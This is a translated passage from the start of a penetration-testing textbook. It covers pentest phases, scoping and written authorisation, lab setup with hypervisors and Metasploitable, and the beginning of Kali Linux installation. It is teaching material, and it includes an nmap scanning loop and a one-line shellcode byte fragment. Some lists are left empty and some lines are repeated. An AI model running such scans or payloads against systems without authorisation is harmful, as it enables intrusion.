渗透测试学习指南(全)

渗透测试学习指南(全)

原文:annas-archive.org/md5/AB4ED424B79B61BAAE18A448202342B9

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

渗透测试可能是一个复杂的话题,特别是如果你是刚刚开始进入这个领域的人。当我写这本书时,我看了看自己的情况,以及当我开始从事渗透测试工作时感到多么不知所措。网上有很多很棒的内容,但我真正卡住的地方是不知道从哪里开始。我会找到一些假设你有一些渗透测试知识,或者知道某个工具如何工作等内容。

这本书适合那些希望在渗透测试职业生涯中找到一个良好起点的人。这本书的目标不是教你华丽的技能,让你可以用来侵入网络,而是帮助你在一个受控的环境中使用真实世界的工具练习你的技能,从而对技术有一个良好的理解。

这本书的目标是在你读完时给你一个良好、扎实的渗透测试理解。你将能够完全掌握渗透测试的各个阶段,如何执行各种技术以及如何使用各种工具。

这本书是为谁准备的

这本书适用于那些希望了解渗透测试,但对这个特定主题只有最少或没有经验的人。阅读这本书的理想人选要么有一些基本的 IT 教育并了解 Linux 的基础知识,要么是自学能力强,能够通过理论和动手实践快速掌握新技能。那些已经具备一些道德黑客技能的人可能会更容易地以快于平均水平的速度消化这本书的内容。

这本书涵盖了什么

第一章《渗透测试简介》帮助你了解什么是渗透测试。在这里,我们将介绍渗透测试的各个阶段以及每个阶段发生了什么。拥有一个实验室对于学习至关重要,所以我们将介绍如何使用 VMware、Hyper-V 或 VirtualBox 构建你自己的实验室环境。我们将讨论基于 Windows 和 Linux 的目标虚拟机,你将用它们来练习你的技能。

第二章《开始使用 Kali Linux》让你从一个渗透测试基础操作系统开始。Kali Linux 是众所周知的,被渗透测试人员和攻击者使用。我们将介绍 Kali Linux 的安装和设置,以及其中包含的基本命令和基本工具。我们将讨论安装额外工具、维护工具的更新以及如何在 Kali Linux 中利用脚本。

第三章《执行信息收集》让你熟悉各种类型的信息收集。我们将介绍各种在线资源和工具,可以用来收集有关你目标的信息。本章涵盖的技术包括端口扫描、漏洞扫描和流量捕获。

第四章《精通社会工程学》专注于现实世界中最常见的攻击方法之一。在这里,我们将介绍社会工程学为什么成功,以及你如何使用各种工具进行社会工程攻击。

第五章《深入了解 Metasploit 框架》专注于一种不言而喻的工具。Metasploit 框架是众所周知的,非常灵活和强大。在这里,你将学习它包含的各种利用和如何找到额外的利用。我们将介绍 Metasploit 框架的各个组件,以及你如何在渗透测试中利用这个框架。

《第六章》《理解密码攻击》深入探讨了存在的各种密码攻击类型。我们将介绍用于各种攻击的工具。您将学习如何构建单词列表,以及您可以获取预先构建的其他单词列表的地方。您将使用这些技能来执行密码破解并从内存中转储凭据。

《第七章》《使用 Burp Suite》教您如何像专业人士一样使用 Burp Suite。在这里,我们将介绍如何获取最新版本的 Burp Suite Professional 以及各个版本之间的区别。我们将涵盖工具的许多方面,以及如何使用工具执行各种攻击。

《第八章》《攻击 Web 应用程序》是我们将焦点转向 Web 应用程序的地方。多年来,Web 应用程序发展迅速,我们将介绍 Web 应用程序的各个组件以及用于开发的一些语言。您将学习各种攻击以及如何使用专为 Web 应用程序攻击设计的工具在您的实验室环境中执行它们。

《第九章》《开始进行无线攻击》侧重于无线技术。要对无线网络进行渗透测试,您需要了解无线网络的组件,以及使用的各种无线帧和工具。我们将涵盖所有这些,包括执行针对无线网络的攻击的硬件要求。

《第十章》《横向移动和提升权限》侧重于后渗透。您将学习存在的各种后渗透技术以及可以使用的各种工具。在这里,我们将重点介绍如何利用 Kerberos 协议的工作原理对 Active Directory 域执行后渗透攻击。

《第十一章》《反病毒逃避》探讨了反病毒技术的发展。在这里,我们将涵盖各种反病毒逃避技术。我们将介绍可以使用的工具,以及在构建有效载荷以避免检测时如何使用这些工具。

《第十二章》《在环境中保持控制》通过查看我们如何在受损网络中保持立足来完成后渗透阶段。在这里,我们将探讨我们可以保持持久性的各种方式,以及可以用来实现我们目标的工具。

《第十三章》《报告和对发现采取行动》探讨了任何渗透测试的一个重要部分。在本章中,您将学习如何撰写针对高管和技术人员定制的渗透测试报告。您将了解应该提出的各种建议,以纠正在真实世界渗透测试中可能遇到的一些常见发现。

《第十四章》《我接下来该怎么办?》通过探讨如何将您的技能提升到下一个水平来结束本书。我们将介绍一些认证以及您可以获取易受攻击的操作系统的地方,以便您可以练习和提高您的技能。

为了充分利用本书

为了从本书的实际方面获得最大的收益,您需要建立一个虚拟化环境。这可以使用 VMware 或 VirtualBox 来设置。Hyper-V 也可以工作,但有一个限制,不允许您直接将无线网卡链接到虚拟机。这将阻止您在具有兼容无线网卡的情况下执行无线攻击。

首选的渗透测试操作系统是 Kali Linux。具有一些基本的 Linux 知识并非强制要求,但会很有益。Kali Linux 包含数百种工具。我们不关注所有这些工具,而只关注能完成工作的工具。偶尔,我们会研究一些可在互联网上找到的工具,但安装和设置步骤在本书中都有清晰的定义。

本书中使用的目标系统主要是免费提供的,例如 Metasploitable 和 OWASP BWA。在某些章节中,我们将使用 Windows Server 和 Windows 10 作为目标操作系统;这些操作系统的评估版本就足够了。了解如何设置 Active Directory 将会很有益。

最后,本书不专注于特定的目标操作系统,而是专注于教授您如何使用各种技术、方法和工具来获得您所需的结果。随着您继续应用所学知识并通过练习在互联网上找到的各种其他易受攻击的机器来积累经验,您的知识将会不断增长。

下载彩色图像

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/9781838640163_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。例如:"我们将利用pip命令来安装所需的shodan文件。"

代码块设置如下:

#!/bin/bash 
cat shodan-iis.txt | while read line
do
nmap -sS -sV $line
done

当我们希望引起您对代码块的特定部分的注意时,相关行或项目将以粗体显示:

#include<stdio.h>
#include<string.h>

unsigned char buf[] = 
"\xbd\xa1\xe2\xe6\x8b\xd9\xeb\xd9\x74\x24\xf4\x5f\x2b\xc9\x66"

任何命令行输入或输出都以如下形式书写:

sudo apt-get update && sudo apt-get install python2.7

粗体:表示一个新术语、一个重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会以这种形式出现在文本中。例如:"您会注意到间隔是 0.102400 [秒]。"

警告或重要说明会出现在这样的形式中。

技巧会以这种形式出现。

第一部分:基础知识

在本节中,我们将从基础知识开始。您将了解渗透测试及其包含的内容。了解渗透测试的各个阶段是成功的关键。我们将开始准备我们的环境,使用一个专门用于渗透测试的操作系统——Kali Linux。您将学习如何设置和配置 Kali Linux 的各个元素。

本节将涵盖以下章节:

  • 第一章,渗透测试简介

  • 第二章,开始使用 Kali Linux

第一章:渗透测试简介

在本章中,我们将通过建立坚实的基础来开始我们的旅程。对渗透测试基础知识的深入了解将有助于您进行成功的渗透测试,而不是盲目扫描网络和进行测试。我们将定义渗透测试以及它与其他安全评估的区别。在实际的渗透测试发生之前,需要做一些事情,以确保正确的授权和正确的范围得到定义。每个成功的渗透测试学生都需要一个实验室环境——建立一个可能令人生畏,但不要绝望。我们将看看实验室环境的哪些选项存在。

随着本章的进行,您将学到以下内容:

  • 什么是渗透测试?

  • 渗透测试的阶段

  • 开始您的实验室

  • 在 VMware、Hyper-V 和 Virtualbox 中创建虚拟机(VMs)

技术要求

本章需要以下技术要求:

  • Kali Linux 2019.1 版

  • 任何虚拟化软件,如 VMware、Hyper-V 或 Virtualbox

什么是渗透测试?

今天,渗透测试经常与漏洞评估、红队评估和其他安全评估混淆。然而,它们之间存在一些区别,如下所示:

  • 漏洞评估:这是识别系统中的漏洞和风险的过程。在漏洞评估中,漏洞不会被利用。它只是突出显示风险,以便业务可以识别风险并制定补救计划。

  • 渗透测试:这是一种授权的过程,通过在预定的时间范围内查找和利用漏洞来对网络、应用程序或主机进行入侵。渗透测试可以由内部团队或外部第三方进行。与漏洞评估相比,渗透测试更进一步,因为渗透测试利用漏洞以确保它不是虚假阳性。渗透测试不涉及任何未经授权或协调的行为。在渗透测试期间,一些测试可能会影响业务应用程序并导致停机。因此,通常需要管理和员工层面的意识。

  • 红队评估:这类似于渗透测试,但更有针对性。渗透测试的主要目的是发现多个漏洞并利用它们,而红队评估的目标是测试组织的响应能力并利用满足其目标的漏洞。在红队评估中,团队将尝试以任何可能的方式访问信息并保持尽可能安静。在红队评估中,隐秘性是关键。红队评估的持续时间比渗透测试长得多。

在开始渗透测试之旅时,了解渗透测试的含义非常重要。为了说明渗透测试是什么,让我们考虑一个场景。

您目前拥有一个持有客户数据的组织。在您的组织中,您拥有 SQL 数据库、面向公众的网站、面向互联网的服务器和大量用户。您的组织是多种攻击的主要目标,例如 SQL 注入、针对用户的社会工程和弱密码。如果您的组织受到损害,存在客户数据被泄露等风险。

为了减少您面临的风险,您需要确定当前安全状况中的漏洞。渗透测试可以帮助您以受控的方式识别这些漏洞,而不是等到攻击者这样做。渗透测试使用攻击者可能利用的真实攻击;目标是获得有关攻击者在您的网络中可以深入多深以及攻击者可以获得多少信息的准确信息。渗透测试的结果为组织提供了漏洞的开放视图,并允许他们在对手采取行动之前修补这些漏洞。

把渗透测试看作是从敌人的角度来看。

渗透测试通常被称为道德黑客、白帽黑客、渗透测试或渗透测试。

由于组织的安全成熟度不同,渗透测试的范围也会有所不同。一些组织可能已经建立了非常好的安全机制,而其他一些可能没有。由于企业有政策、业务连续性计划、风险评估和灾难恢复作为整体安全的重要组成部分,渗透测试需要被纳入其中。

渗透测试的阶段

现在您了解了什么是渗透测试,您可能想知道渗透测试的流程是什么。渗透测试有许多阶段,每个阶段都是整个渗透测试的重要组成部分。

有各种与渗透测试相关的标准。本书没有专门遵循其中任何一个。还有其他已知的标准,例如以下:

接下来的阶段遵循渗透测试执行标准PTES),我发现这是一个很好的起点。完整的标准可以在www.pentest-standard.org/找到。

预约

这是每次渗透测试中最重要的阶段。在这个阶段,您开始为渗透测试定义蓝图,并将这个蓝图与客户的业务目标对齐。目标是确保所有参与者都在同一页面上,并且预期提前设定。

在这个阶段,作为渗透测试人员,您需要花时间了解客户的需求和目标。例如,为什么客户要进行渗透测试?客户是否受到了侵害?客户进行渗透测试纯粹是为了满足合规要求,还是客户打算对发现的问题进行修复?与客户交谈并了解他们的业务目标将帮助您规划和确定渗透测试的范围,以避免任何棘手的情况。

预约阶段包括您需要考虑的一些额外组件。

范围

这个组件定义了将要测试的内容。在这里,关键在于在时间、成本和业务目标之间找到平衡。重要的是要注意,在范围内达成的一切都必须清楚地记录,并且必须考虑所有的法律影响。

在这个组件中,您将提出以下问题:

  • 将要测试的 IP 地址范围或系统的数量是多少?

  • 渗透测试是否涵盖物理安全、无线网络、应用服务器、社会工程等?

  • 渗透测试的禁区是什么?企业可能有关键任务系统,如果这些系统受到渗透测试的影响,可能会导致收入损失。

  • 渗透测试是现场进行还是远程进行?

  • 渗透测试的范围中是否包括第三方服务器?

  • 您是否进行了白盒、灰盒或黑盒渗透测试?

列出的问题并不涵盖所有内容,问题会因客户而异。要获得更全面的问题清单,可以参考 PTES 标准www.pentest-standard.org/index.php/Pre-engagement

白盒测试可以完全开放地访问系统、代码、网络图等。它提供了对一般攻击者不可得的更全面的结果。

灰盒测试可以让你获取一些关于内部系统的信息;其目的是从已经侵入系统的攻击者的角度获取信息。

黑盒测试不提供任何关于网络的信息或访问权限。这种测试更实际,因为你模拟了一个外部攻击者。

在确定渗透测试范围时,要非常小心范围蔓延范围蔓延是指在最初的范围内没有达成一致的任何额外工作。这会给你的渗透测试引入风险,可能导致你的收入损失,客户不满意,甚至法律责任。范围蔓延是一个容易陷入的陷阱。

在确定范围阶段要考虑渗透测试的成本。渗透测试的价格取决于需要测试的内容。例如,测试复杂的网络应用程序将需要更多的时间和精力,因此与简单的网络渗透测试相比,成本会更高。进行渗透测试的频率也是影响成本的另一个因素。

时间表

客户可以设定时间表,规定何时可以进行渗透测试。一些客户可能有在特定时间窗口内进行补丁更新的业务关键服务器,这些服务器在那段时间内可能是禁区。

确保定义了开始和结束日期。这样可以让渗透测试有一个明确的结束日期。

处理第三方

如今,许多企业正在利用云服务。在你的渗透范围内很可能会遇到云服务器。重要的是要记住谁拥有这台服务器。在云环境中,服务器不是由进行渗透测试的企业拥有,而是由云提供商拥有。

云领域的大公司,如微软、亚马逊和谷歌,都有渗透测试的规则文件。这些文件详细说明了你可以做什么,以及你不能做什么。

微软在这里定义了其参与规则:www.microsoft.com/en-us/msrc/pentest-rules-of-engagement。亚马逊在这里定义了其参与规则:aws.amazon.com/security/penetration-testing/。谷歌在这里定义了其参与规则:cloud.google.com/security/overview/

确保从云服务提供商那里获得正确的批准,如果你的渗透范围内涉及云服务;否则可能会导致法律后果。

支付

支付条款的讨论至关重要,因为大型组织常常会延迟付款。你需要事先定义支付条款。应明确规定付款应该何时进行。

不要忘记定义成本;例如,您将以每个 IP 地址 500 美元的成本对 10 个 IP 地址进行渗透测试。

你的“免于入狱的牌”

在进行渗透测试时,您将发现大量对现实世界攻击者有价值的信息,您还将进行一些非法活动。唯一将渗透测试人员与恶意黑客区分开来的是权限。

获得相关许可构成了您的“免于入狱的牌”。业务提供的许可详细说明了任何限制,并授权您执行在范围协议中定义的活动。

这是业务正式批准开始渗透测试。

情报收集

完成了前期阶段后,您需要在开始攻击之前收集尽可能多的信息。在情报收集阶段,也称为信息收集,您开始查看有关目标的信息。您将从公开可访问的资源中收集信息。这被称为开源情报OSINT)。您将开始利用可以帮助您的工具,如 Maltego 和 Shodan。

情报收集的重要性在于您能够发现进入目标组织的入口点。企业和员工并未考虑他们在互联网上可以暴露多少数据,因此这些数据对于决心攻击者来说成为了丰富的信息。

在第三章中,进行信息收集,我们将更详细地介绍信息收集。

威胁建模

一旦您在情报收集阶段收集了信息,您就开始进行威胁建模。在威胁建模中,您开始创建威胁的结构以及它们与目标环境的关系。例如,您将识别持有有价值信息的系统,然后您将确定与系统相关的威胁以及系统中存在的漏洞,这些漏洞可以允许攻击者对威胁采取行动。

威胁建模有一些方法,例如以下:

  • 欺骗、篡改、否认、信息披露、拒绝服务、权限提升STRIDE

  • 攻击模拟和威胁分析过程PASTA

  • 视觉敏捷和简单威胁建模VAST

有一些工具可以用于威胁建模;最常见的是以下两种:

漏洞分析

一旦您定义了可能导致威胁的威胁,就是时候发现这些威胁存在哪些漏洞。在漏洞分析阶段,您开始发现系统中的漏洞以及如何利用这些漏洞。

在这里,您将进行主动或被动分析。请记住,任何失败的利用都可能导致被发现。

主动漏洞分析可以包括以下内容:

  • 网络扫描仪

  • Web 应用程序扫描仪

  • 自动化扫描仪

被动漏洞分析可以包括以下内容:

  • 监控流量

  • 元数据

今天存在许多漏洞扫描器。例如,更常用的是 Nessus,但还有许多其他的,如 OpenVAS、Nikto 和 QualysGuard。

利用

在利用阶段,您开始专注于获取对系统的访问权限,并规避任何现有的安全阻碍。通过在利用阶段进行漏洞分析,您可以制定一个精确的计划来执行。

在这个阶段,您将开始使用许多工具。有些漏洞利用可以很容易地完成,而其他一些可能会很复杂。

后期利用

后渗透覆盖了一旦目标成功被利用就可以执行的活动。

后渗透阶段真正展示了您作为渗透测试人员的技能。当恶意黑客侵入系统时,他们开始在环境中寻找高价值目标。他们还开始创建后门,以便他们可以轻易地重新访问受损的系统。

作为渗透测试人员,您将执行任务,就好像您是攻击者一样。一旦您侵入了系统,就是寻找高价值目标和有价值的信息的时候,尝试访问提升的特权,横向移动,并查看您如何进行枢轴。

报告

在渗透测试的最后阶段,需要以有意义的方式向企业提供发现。在这里,您需要定义从您如何进入他们的环境到您发现了什么的一切。重要的是要向企业提供如何修复您在渗透测试中暴露的漏洞的建议。

您的报告应该有执行摘要和技术报告。每个部分都需要针对您呈现的受众进行定制。例如,在执行摘要中,您不会说您在使用MS17-010 EternalBlue漏洞来攻击系统,但您会在技术报告中这样说。

执行摘要

执行摘要将定义渗透测试的目标,并以非常高的层次概述发现。由于执行摘要的受众通常是业务决策者,您需要以他们的层次进行沟通。为了做到这一点,执行摘要可能包含以下部分:

  • 背景:在背景部分,您需要解释渗透测试的目的。

  • 整体姿态:在这里,您将定义渗透测试在预约期阶段定义的目标方面的有效性。

  • 风险排名:这定义了企业所处的整体风险评级。例如,企业可能处于极端中等低风险。您必须解释这个评级,以便企业清楚地了解他们为什么属于这种风险等级。

  • 一般发现:这部分提供了在渗透测试期间发现的问题的简要总结。通常在这里可以找到突出安全风险类别的图表,例如缺失的补丁和操作系统加固。

  • 建议摘要:这概述了应该执行哪些任务来纠正发现。在这里不要详细说明,因为详细内容在技术报告中有所涉及。

  • 战略路线图:这为企业提供了一个可操作的路线图来纠正发现。这个路线图必须是有优先级的,并且与潜在影响的业务级别保持一致。路线图可以分解成部分,例如1 到 3 个月3 到 6 个月6 到 12 个月的计划。在每个部分中,应该定义行动;例如,在1 到 3 个月的计划中,企业应该解决低影响的缺失补丁。

技术报告

技术报告将包括比执行摘要更多的细节。在技术报告中,您将全面定义范围、信息、攻击方法和纠正步骤。在这份报告中,您可以使用易于理解的技术术语,例如远程 shell、传递哈希和 NTLM 哈希。

技术报告将包括以下部分:

  • 介绍:这部分将包括渗透测试的范围、联系人、涉及的系统和方法等主题。

  • 信息收集:在这里,您将解释您能够收集到目标的多少信息。在本节中,您可以深入挖掘,以突出通过被动情报(公开可用的信息、DNS 记录、IP 地址信息等)、主动情报(端口扫描、足迹、等)和人员情报(从社会工程、钓鱼等获得的信息)等方式获得了哪些信息。

  • 漏洞评估:在本节中,您将定义发现的漏洞类型、如何发现它们,并提供漏洞的证据。

  • 利用/漏洞验证:本节提供了您对发现的漏洞采取行动的详细步骤。应包括攻击的时间表、目标、成功/失败比率和获得的访问级别等详细信息。

  • 后期利用:此处包括的详细信息将是升级路径、数据提取、信息价值、反制措施的有效性(如果有的话)、持久性和枢纽点等活动。

  • 风险/暴露:前面各节的结果被结合并与风险和暴露评级联系起来。本节将包含每次事件的预估损失、执行某种攻击所需的技能、反制措施的强度和风险评级(关键、高、中、低)等信息。

  • 结论:结论应该始终以积极的方式结束。在这里,您将强调通过对渗透测试的最终概述来增加业务安全姿态的任何指导。

现在我们已经建立了关于渗透测试是什么、其阶段以及它与漏洞评估和红队评估的区别的基础,是时候深入实验室环境了。

开始使用您的实验室

当您阅读本书时,您将学习如何在受控环境中使用不同的工具。为了拥有受控环境,我们需要构建一个。

我们有三种选项来构建渗透实验室。它们如下:

  • 使用云服务提供商:微软 Azure、亚马逊 Web 服务和谷歌云等云服务提供商为您提供了在部署系统方面灵活性和可伸缩性,成本仅为购买专用硬件的一小部分。使用云服务提供商的唯一问题是,您可能需要获得在部署服务上执行渗透测试的许可。

  • 使用高性能笔记本电脑或桌面计算机与虚拟化软件:由于高性能笔记本电脑和桌面计算机相对便宜,这可能是许多人喜欢的选择。通过使用 Microsoft Hyper-V、VMware 和 Virtualbox 等虚拟化软件,您可以在主机计算机上部署一个完全隔离的网络。

在使用虚拟化软件进行渗透测试时,Hyper-V 存在一个限制。目前,Hyper-V 不允许您直接将 USB 无线网卡连接到虚拟机,而 VMware 和 Virtualbox 则允许。这在尝试利用无线渗透测试的监视模式时会引入问题。VMware 和 Virtualbox 允许您直接将 USB 无线网卡连接到虚拟机。下面的截图描述了将无线网卡直接连接到虚拟机(图 1):

图 1:将无线网卡连接到虚拟机。

  • 使用专用硬件:这是更昂贵的选择。在这里,您将需要一整套网络设备,包括专用服务器和工作站。

让我们首先看看如何使用虚拟化工具(如 VMware、Hyper-V 和 VirtualBox)构建实验室环境。

在 VMware、Hyper-V 和 VirtualBox 中创建虚拟机

利用虚拟化管理程序可以以最小的硬件成本构建实验室环境。如今,任何一台体面的笔记本电脑或台式机都能运行虚拟化管理软件。在选择虚拟化管理程序时,确保适当地配置虚拟网络。例如,如果需要使虚拟机相互隔离,可以使用“仅主机模式”。如果需要让虚拟机访问互联网,可以使用“网络地址转换”或“桥接网络”。网络地址转换和桥接网络的区别在于,使用桥接网络时,虚拟机将获得自己的 IP 地址,而使用网络地址转换时,虚拟机将利用主机的 IP 地址进行外部通信。

请注意,不同虚拟化管理程序之间的选项可能不同,但概念是相同的。

Microsoft Hyper-V

Hyper-V 是微软的一款虚拟化产品,可以用来创建虚拟机。Microsoft Hyper-V 可以在 Windows 10 上使用。它可以在 Windows 10 企业版、教育版和专业版上启用。

Hyper-V 可以通过多种方式进行安装。

使用 Powershell,可以使用以下代码安装 Hyper-V 角色:

Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Hyper-V -All

此外,还可以使用以下 DISM 和 CMD(以管理员身份运行)代码:

DISM /Online /Enable-Feature /All /FeatureName:Microsoft-Hyper-V

Hyper-V 也可以通过 Windows 的程序和功能进行安装。在 Windows 10 中,可以按照以下步骤进行操作:

  1. 按下 Windows 键 + R 打开运行对话框。输入 appwiz.cpl 打开程序和功能,如 图 2 所示:

图 2:打开程序和功能。

  1. 点击如 图 3 所示的“打开或关闭 Windows 功能”:

图 3:打开或关闭 Windows 功能。

  1. 选择如 图 4 所示的 Hyper-V 角色:

图 4:选择 Hyper-V 角色。

  1. 点击确定。

计算机需要重新启动以安装 Hyper-V 角色。

Hyper-V 目前无法直接连接 USB 设备到虚拟机。这会给用于无线渗透测试的无线网卡带来问题,因为无法切换到监视模式。

有关 Microsoft Hyper-V 的更多信息,请访问 docs.microsoft.com/en-us/virtualization/hyper-v-on-windows/about/

VMware

VMware 是一款提供免费和付费版本的虚拟化软件。VMware 支持 Microsoft Windows、Linux 和 Mac OS。

VMware Workstation Player (www.vmware.com/products/workstation-player.html) 可以免费在 Microsoft Windows 和 Linux 操作系统上使用。还有一个付费版本叫做 VMware Workstation Pro (www.vmware.com/products/workstation-pro.html),相比免费版本提供了一些额外的功能。VMware Fusion (www.vmware.com/products/fusion.html) 也是一个付费版本,适用于 macOS。

VirtualBox

Virtualbox 是一款开源的免费虚拟化管理程序。它支持 Microsoft Windows、Linux 和 macOS。Virtualbox 还有一些可用的扩展,包括对 USB3、PXE 引导、磁盘加密等的支持。

Virtualbox 可以在 www.virtualbox.org/wiki/Downloads 下载。

目标机器

在我们阅读本书的过程中,我们将对目标机器执行一些渗透测试。

当我们谈论目标机器时,这些是将用于测试本书中各种工具和概念的虚拟机。

对于 Microsoft Windows,我们将利用评估中心下载 Windows 10 企业版和 Server 2012 R2。

可以在www.microsoft.com/en-us/evalcenter/访问 Microsoft 评估中心。

Windows Server 2012R2 的直接链接是www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2012-r2,而 Windows 10 企业版的直接链接是www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise

对于两个操作系统,您将使用.iso文件,并使用您选择的 hypervisor 进行安装。

Metasploitable

Metasploitable 是一个有意设置的易受攻击的机器,您可以使用它来测试 Metasploit 漏洞以获取 shell 权限。Metasploitable 与其他易受攻击的机器不同,因为它更专注于操作系统和网络层。

到目前为止,Metasploitable 目前有三个版本,它们分别被称为 Metasploitable、Metasploitable 2 和 Metasploitable 3。

每个版本都有重大变化,超出了您如何设置它们的范围。

Metasploitable(版本 1)是基于 VM 的定制 Ubuntu 镜像。在这个镜像中,安装了许多易受攻击和配置不良的软件。例如,您可能会有使用 Metasploit 轻松可利用的弱凭据的 Tomcat。

Metasploitable(版本 1)可在 Vulnhub 上下载,链接为www.vulnhub.com/entry/metasploitable-1,28/

Metasploitable 2 更加强大,引入了更多的漏洞。它包括超过 30 个暴露的端口,会在 Nmap 扫描中显示出来。它还包括易受攻击的 Web 应用程序,如Damn Vulnerable Web AppDMVA)和Mutillidae。这使人们能够测试他们的 Web 应用程序渗透测试技能。

Metasploitable(版本 2)可在information.rapid7.com/download-metasploitable-2017.html下载。

Metasploitable 3 提升了游戏水平。版本 1 和 2 是基于 Linux 的,但版本 3 是基于 Windows 的。Metasploitable 3 利用了自动化和配置。构建过程简单而强大,所有脚本都是开源的,并且利用了vagrantpacker等工具。在撰写本书时,Metasploitable 3 支持 VMware 和 Virtualbox。

Metasploitable 3 可从github.com/rapid7/metasploitable3下载。

在启动 Metasploitable 之前,需要安装其他软件。以下是必需的:

Metasploitable 3 的构建步骤相对简单,并且可以在 Rapid7 维护的 GitHub 存储库上找到(github.com/rapid7/metasploitable3)。互联网上有一些资源可供下载预构建的 Metasploitable 3 VMs。

在第五章中,深入了解 Metasploit 框架,我们将执行在这里讨论的 Metasploitable 实验室中的各种任务。

摘要

在本章中,我们开始建立坚实的基础,您了解了渗透测试与漏洞和红队评估的区别。我们定义了利用渗透测试方法或标准的重要性,例如 PTES 标准及其中的各个阶段。在每个阶段中,我们讨论了涉及的内容,并强调了一些不容忽视的重要方面,比如“免于入狱的卡”。最后,我们看了一个实验室环境,目前存在的各种虚拟化程序,以及如何构建一个用于将来使用的 Metasploitable 实验室环境。

在下一章(第二章《开始使用 Kali Linux》)中,我们将深入探讨 Kali Linux,探索 Kali Linux 的不同安装选项以及一些必需的初始配置。我们将探讨 Kali Linux 中一些基本工具及其主要用途。

问题

  1. 渗透测试的目的是什么?

  2. 至少列举两种渗透测试标准。

  3. 为什么对渗透测试进行范围界定很重要?

  4. 至少列举两种威胁建模方法。

  5. Metasploitable 与其他易受攻击的机器有何不同?

第二章:开始使用 Kali Linux

在本章中,我们将深入研究 Kali Linux 作为我们的首选渗透测试平台。Kali Linux 有各种安装选项,因此我们将探讨存在哪些选项并了解如何使用它们。在演示安装过程后,需要在 Kali Linux 上完成一些初始任务,因此我们将通过初始设置来确保我们准备好开始使用 Kali Linux。脚本编写应该已经成为您的工具库的一部分,因此我们将深入研究基本脚本编写,然后开始探索 Kali Linux 上可用的一些常用工具。

在本章中,您将学习以下主题:

  • Kali Linux 简介

  • 安装和配置 Kali Linux

  • Kali Linux 中的基本命令

  • 在 Kali Linux 中编写脚本

  • Kali Linux 的基本工具

技术要求

本章的技术要求如下:

  • 任何虚拟化程序,如 VMware、Hyper-V 或 VirtualBox

  • Windows 10 专业版或企业版

  • Kali Linux 2019.1

Kali Linux 简介

在本书中,Kali Linux 将是我们的首选平台。Kali Linux 是一个免费的渗透测试分发平台,提供了广泛的工具,如用于网络渗透测试的 Metasploit,用于端口和漏洞扫描的 Nmap,用于无线网络测试的 Aircrack-Ng,用于社会工程攻击的社会工程工具包(SET)等等。

Kali Linux 是一个维护的分发;这意味着它会不断更新和维护。在撰写本文时,Kali Linux 的当前版本是 2019.1。

2019.1 版本引入了对 Metasploit 的大规模更新(Metasploit 将在第五章中介绍,深入 Metasploit 框架),包括错误修复、内核更新等。

本书使用的是 Kali Linux 2019.1 版本;请注意,如果在不同版本的 Kali Linux 上执行这些练习,可能会有所不同。

Kali Linux 可以在www.kali.org/downloads下载,有多种选项可供下载。您可以选择下载最新版本 Kali Linux 的 32 位或 64 位.iso,如图 1所示:

图 1:Kali Linux 的下载选项

还有为 VMware 和 VirtualBox 预构建的虚拟机,可以从 Offensive Security 下载;这些可以在www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/找到,如图 2所示:

图 2:Kali Linux 的预构建虚拟机

Kali 可以作为已安装的操作系统或作为实时版本运行,如图 3所示。对于实时版本,您需要在 USB 驱动器上设置持久存储,即如果您希望保留在实时模式下使用 Kali 时收集的任何数据:

图 3:Kali Linux 的不同启动选项

正如您所知,有多种方法可以运行 Kali Linux。例如,您可以使用 Kali Linux 的 USB 磁盘进行便携式运行。这意味着您可以将其插入任何 PC 以运行 Kali。此外,一些用户可能更喜欢使用预构建的虚拟机,这样可以省去从头安装操作系统的麻烦。或者,其他用户可能更喜欢在安装过程中自定义 Kali Linux,并希望直接使用.iso文件安装 Kali Linux。

安装和配置 Kali Linux

现在您已经下载了 Kali Linux,我们需要安装并准备好。您会注意到有几种安装 Kali Linux 的选项;我将使用一个预构建的虚拟机,当前版本为 2019.1。

安装

如果您使用 Kali Linux 预构建的虚拟机,您只需在 VMware 或 VirtualBox 中打开它。VMware 预构建的虚拟机需要被提取,但您可以使用 7zip 来提取虚拟机。

利用预构建的虚拟机可以节省您手动安装 Kali Linux 的时间。请注意,如果在打开预构建的虚拟机时提示,那么您可以简单地选择“我复制了它”。

7Zip 可以从www.7-zip.org/download.html下载。

在 macOS 上安装 Kali Linux

如果您想要在 macOS 上使用 VMware Fusion 从头开始安装 Kali Linux,您可以执行以下步骤:

  1. 在 VMware Fusion 中,按下Ctrl NCommandN(macOS),这将打开新的虚拟机对话框,如图 4 所示:

图 4:在 VMware Fusion 中安装 VM 的不同选项

  1. 将 Kali Linux 的.iso文件拖入窗口,然后单击“继续”。接下来,选择 Linux 作为操作系统,然后选择 Debian 9.x 64 位,然后单击“继续”,如图 5 所示:

图 5:客户操作系统的选项

  1. 选择 UEFI 作为引导固件,然后单击“继续”,如图 6 所示:

图 6:VM 操作系统的固件类型选项

  1. 单击“自定义”以对分配给虚拟机的 RAM 和 CPU 进行一些更改。您可以根据需要进行调整;在我的配置中,我将使用两个 CPU 和 2GB 的 RAM,如图 7 所示:

图 7:虚拟机的设置

  1. 启动虚拟机后,选择启动安装程序,并按照提示进行操作,直到安装完成,如图 8 所示:

图 8:Kali Linux 的不同引导选项

完成安装步骤后,您将看到 Kali Linux 已经新安装,如前面的截图所示(图 8)。您现在可以继续进行配置阶段。

使用 Windows 子系统用于 Linux(WSL)安装 Kali Linux

Kali Linux 能够在 Windows 中使用 WSL 和Windows 商店应用本地运行。为了使 Kali 能够运行并安装必要的工具,需要执行以下安装步骤:

  1. 首先,安装 WSL;为此,请按下 Windows 键+r,输入appwiz.cpl,然后单击“确定”。

  2. 选择 Windows 子系统用于 Linux 复选框,如图 9 所示。请注意,一旦安装完成,您的计算机将需要重新启动:

图 9:选择 Windows 子系统用于 Linux

